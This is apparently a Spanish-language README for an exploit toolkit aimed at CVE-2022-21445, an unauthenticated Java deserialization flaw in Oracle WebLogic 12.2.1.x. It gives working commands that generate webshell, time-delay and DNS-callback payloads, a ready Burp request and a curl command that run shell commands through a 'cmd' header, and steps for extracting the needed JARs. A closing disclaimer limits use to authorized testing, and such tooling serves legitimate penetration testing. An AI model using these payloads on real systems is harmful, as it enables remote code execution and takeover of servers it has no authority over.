
Exploit para CVE-2022-21445 de Oracle Weblogic 12.2.1.X
Este kit de herramientas genera payloads de exploit para CVE-2022-21445, una vulnerabilidad crítica de deserialización de Java que afecta a Oracle WebLogic Server 12.2.1.x que ejecuta Oracle ADF Faces.
La falla existe en el componente RemoteApplicationResourceLoader y permite a un atacante enviar una solicitud HTTP GET especialmente diseñada que desencadena una deserialización insegura. Una explotación exitosa puede provocar la ejecución remota de código (RCE) sin autenticación en el servidor objetivo.
| Requisito | Versión | Propósito |
|---|---|---|
| Python | 3.6+ | Ejecutar el script de exploit |
| JDK | 1.8 (se recomienda 8u202) | Compilar y ejecutar el generador de payloads Java |
| Weblogic | 12.2.1.X | Versiones vulnerables |
El payload debe compilarse con JDK 1.8 para que coincida con el runtime de Java del objetivo.
# Use SDKMAN:
sdk install java 8.0.402-tem
# Select the java 8
sudo update-alternatives --config java
java -version # Should show 1.8.x
javac -version # Should show 1.8.x
Genera un payload que lee comandos desde la cabecera HTTP cmd y devuelve la salida en el cuerpo de la respuesta.
python3 exploit.py --version 12.2.1.4 --type webshell
Salida:
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...
======================================================================
PAYLOAD GENERATED SUCCESSFULLY
======================================================================
[*] Payload type: webshell
[*] Payload length: 2156 characters
──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...
──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close
──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"
Para pruebas ciegas: confirma la ejecución de código si la respuesta se retrasa.
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10
Envía el payload y mide el tiempo de respuesta:
Para confirmación fuera de banda usando Burp Collaborator o similar.
python3 exploit.py --version 12.2.1.4 --type dns \
--dns-host cve-21445.abc123.oastify.com
Usa --target para obtener una salida formateada con el host y la ruta de contexto correctos:
python3 exploit.py --version 12.2.1.4 --type webshell \
--target http://10.0.0.50:8002/test
Esto formatea la solicitud de Burp y el comando curl con el host y la ruta correctos:
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami
python3 exploit.py --version 12.2.1.4 --type webshell \
--output payload.txt
cmd para ejecutar diferentes comandos
En caso de archivos JAR dañados, siga las instrucciones para instalar la versión deseada de Weblogic y extraer los JAR relevantes.
Esto extrae los JAR de Oracle requeridos de la imagen oficial de Docker de FMW Infrastructure.
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3
# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)
# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar
Nota: El JAR
javax.mail(necesario para la codificación MIME base64) se descarga automáticamente desde Maven Central en la primera ejecución. No se requiere configuración manual. El payload de webshell usa reflexión pura y no necesitaweblogic.jaren tiempo de compilación.
Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas. Obtén siempre permiso por escrito antes de probar sistemas que no te pertenezcan. Los autores no son responsables de cualquier uso indebido. El acceso no autorizado a sistemas informáticos es ilegal.